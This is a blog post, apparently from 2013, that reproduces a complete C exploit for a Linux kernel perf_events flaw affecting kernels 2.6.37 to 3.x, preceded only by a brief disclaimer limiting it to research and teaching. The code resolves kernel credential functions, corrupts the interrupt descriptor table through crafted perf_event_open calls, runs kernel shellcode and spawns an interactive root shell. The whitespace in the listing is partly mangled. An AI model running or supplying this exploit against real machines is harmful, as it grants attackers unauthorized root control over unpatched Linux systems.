Linux kernel perf_events local root exploit

测试方法:

提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
    1. /*
    2. * Linux kernel perf_events local root exploit
    3. *
    4. * by wzt 2013 http://www.cloud-sec.org
    5. *
    6. * gcc -o perf_exp per_exp.c -O2
    7. *
    8. * target: 2.6.37 - 3.x
    9. *
    10. * test on:
    11. * rhel6.3/6.4 x86_64
    12. * rhel6.3 + 3.2 kernel
    13. */
    14.  
    15. #include<stdint.h>
    16. #include<stdio.h>
    17. #include<stdlib.h>
    18. #include<string.h>
    19. #include<unistd.h>
    20. #include<sys/mman.h>
    21. #include<sys/utsname.h>
    22. #include<syscall.h>
    23. #include<stdint.h>
    24. #include<assert.h>
    25. #include<linux/perf_event.h>
    26.  
    27. #define KALLSYMS_NAME "/boot/System.map-2.6.32-279.el6.x86_64"
    28.  
    29. #define BASE 0x380000000
    30. #define SIZE 0x010000000
    31. #define KSIZE 0x2000000
    32.  
    33. #define USER_CS 0x33
    34. #define USER_SS 0x2b
    35. #define USER_FL 0x246
    36.  
    37. #define STACK(x)(x +sizeof(x))
    38.  
    39. typedefint __attribute__((regparm(1)))(*_commit_creds)(unsignedlong cred);
    40. typedefunsignedlong __attribute__((regparm(1)))(*_prepare_kernel_cred)(unsignedlong cred);
    41. _commit_creds commit_creds;
    42. _prepare_kernel_cred prepare_kernel_cred;
    43.  
    44. void exit_user_code(void);
    45. char user_stack[1024*1024];
    46.  
    47. uint64_t*orig_idt_handler;
    48.  
    49. unsignedchar kern_sc[]="\x48\xc7\xc3\x40\x08\x40\x00\xff\xe3";
    50.  
    51. struct idtr {
    52. uint16_t limit;
    53. uint64_t addr;
    54. }__attribute__((packed));
    55.  
    56. void exit_user_code(void)
    57. {
    58. if(getuid()!=0){
    59. printf("[-] exploit failed.\n");
    60. exit(-1);
    61. }
    62.  
    63. printf("[+] Got root shell!\n");
    64. execl("/bin/bash","sh","-i", NULL);
    65. }
    66.  
    67. void kernel_shellcode(void)
    68. {
    69. asmvolatile("swapgs\n\t"
    70. "movq orig_idt_handler, %rsi\n\t"
    71. "movq $-1, (%rsi)\n\t"
    72. "movq $0, %rdi\n\t"
    73. "movq $prepare_kernel_cred, %rsi\n\t"
    74. "movq (%rsi), %rsi\n\t"
    75. "callq *%rsi\n\t"
    76. "movq %rax, %rdi\n\t"
    77. "movq $commit_creds, %rsi\n\t"
    78. "movq (%rsi), %rsi\n\t"
    79. "callq *%rsi\n\t"
    80. "movq $0x2b, 0x20(%rsp)\n\t"
    81. "movq $user_stack, %rbx\n\t"
    82. "addq $0x100000, %rbx\n\t"
    83. "movq %rbx, 0x18(%rsp)\n\t"
    84. "movq $0x246, 0x10(%rsp)\n\t"
    85. "movq $0x33, 0x08(%rsp)\n\t"
    86. "movq $exit_user_code, %rbx\n\t"
    87. "movq %rbx, 0x00(%rsp)\n\t"
    88. "swapgs\n\t"
    89. "iretq");
    90. }
    91.  
    92. int perf_event_open(uint32_t offset)
    93. {
    94. struct perf_event_attr p_attr;
    95. int fd;
    96.  
    97. memset(&p_attr,0,sizeof(struct perf_event_attr));
    98. p_attr.type = PERF_TYPE_SOFTWARE;
    99. p_attr.size =sizeof(struct perf_event_attr);
    100. p_attr.config = offset;
    101. p_attr.mmap =1;
    102. p_attr.freq =1;
    103.  
    104. fd = syscall(__NR_perf_event_open,&p_attr,0,-1,-1,0);
    105. if(fd ==-1){
    106. perror("perf_event_open");
    107. return-1;
    108. }
    109.  
    110. if(close(fd)==-1){
    111. perror("close");
    112. return-1;
    113. }
    114.  
    115. return0;
    116. }
    117.  
    118. unsignedlong find_symbol_by_proc(char*file_name,char*symbol_name)
    119. {
    120. FILE *s_fp;
    121. char buff[200];
    122. char*p = NULL,*p1 = NULL;
    123. unsignedlong addr =0;
    124.  
    125. s_fp = fopen(file_name,"r");
    126. if(s_fp == NULL){
    127. printf("open %s failed.\n", file_name);
    128. return0;
    129. }
    130.  
    131. while(fgets(buff,200, s_fp)!= NULL){
    132. if(strstr(buff, symbol_name)!= NULL){
    133. buff[strlen(buff)-1]='\0';
    134. p = strchr(strchr(buff,' ')+1,' ');
    135. ++p;
    136. if(!p)
    137. return0;
    138.  
    139. if(!strcmp(p, symbol_name)){
    140. p1 = strchr(buff,' ');
    141. *p1 ='\0';
    142. sscanf(buff,"%lx",&addr);
    143. break;
    144. }
    145. }
    146. }
    147.  
    148. fclose(s_fp);
    149. return addr;
    150. }
    151.  
    152. int perf_symbol_init(void)
    153. {
    154. struct utsname os_ver;
    155. char system_map[128];
    156.  
    157. if(uname(&os_ver)==-1){
    158. perror("uname");
    159. return-1;
    160. }
    161.  
    162. printf("[+] target kernel: %s\tarch: %s\n", os_ver.release, os_ver.machine);
    163.  
    164. snprintf(system_map,sizeof(system_map),
    165. "/boot/System.map-%s", os_ver.release);
    166. printf("[+] looking for symbols...\n");
    167. commit_creds =(_commit_creds)find_symbol_by_proc(system_map,"commit_creds");
    168. if(!commit_creds){
    169. printf("[-] not found commit_creds addr.\n");
    170. return-1;
    171. }
    172. printf("[+] found commit_creds addr: %p\n", commit_creds);
    173.  
    174. prepare_kernel_cred =(_prepare_kernel_cred)find_symbol_by_proc(system_map,
    175. "prepare_kernel_cred");
    176. if(!prepare_kernel_cred){
    177. printf("[-] not found prepare_kernel_cred addr.\n");
    178. return-1;
    179. }
    180. printf("[+] found prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
    181. }
    182.  
    183. void exploit_banner(void)
    184. {
    185. printf("Linux kernel perf_events(2.6.37 - 3.x) local root exploit.\n"
    186. "by wzt 2013\thttp://www.cloud-sec.org\n\n");
    187. }
    188.  
    189. int main()
    190. {
    191. struct idtr idt;
    192. uint64_t kbase;
    193. uint8_t*code;
    194. uint32_t*map;
    195. int i;
    196. int idt_offset;
    197.  
    198. exploit_banner();
    199.  
    200. if(perf_symbol_init()==-1)
    201. return-1;
    202.  
    203. map = mmap((void*)BASE, SIZE, PROT_READ | PROT_WRITE,
    204. MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED,-1,0);
    205. if(map !=(void*)BASE){
    206. perror("mmap");
    207. return-1;
    208. }
    209. printf("[+] mmap at %p ok.\n",(void*)map);
    210. memset(map,0, SIZE);
    211.  
    212. if(perf_event_open(-1)==-1)
    213. return-1;
    214.  
    215. if(perf_event_open(-2)==-1)
    216. return-1;
    217.  
    218. for(i =0; i < SIZE/4; i++){
    219. if(map[i]){
    220. assert(map[i+1]);
    221. break;
    222. }
    223. }
    224. assert(i<SIZE/4);
    225.  
    226. asm("sidt %0":"=m"(idt));
    227. kbase = idt.addr &0xff000000;
    228.  
    229. code = mmap((void*)kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
    230. MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED,-1,0);
    231. if(code !=(void*)kbase){
    232. perror("mmap");
    233. return-1;
    234. }
    235. printf("[+] mmap shellcode at %p ok.\n",(void*)code);
    236.  
    237. memset(code,0x90, KSIZE);
    238. code += KSIZE -1024;
    239.  
    240. *(uint32_t*)(kern_sc +3)=(uint32_t)&kernel_shellcode;
    241. memcpy(code -9, kern_sc,9);
    242.  
    243. orig_idt_handler =(uint64_t*)(idt.addr +0x48);
    244. printf("[+] int4 idt handler addr: %lx\n", orig_idt_handler);
    245.  
    246. idt_offset =-i +(((idt.addr &0xffffffff)-0x80000000)/4)+16;
    247. printf("[+] trigger offset: %d\n", idt_offset);
    248.  
    249. if(perf_event_open(idt_offset)==-1)
    250. return-1;
    251.  
    252. printf("[+] trigger int4 ...\n");
    253. asm("int $0x4");
    254. }
posted @ 2013-05-25 13:00  夏虫xm  阅读(640)  评论(0编辑  收藏  举报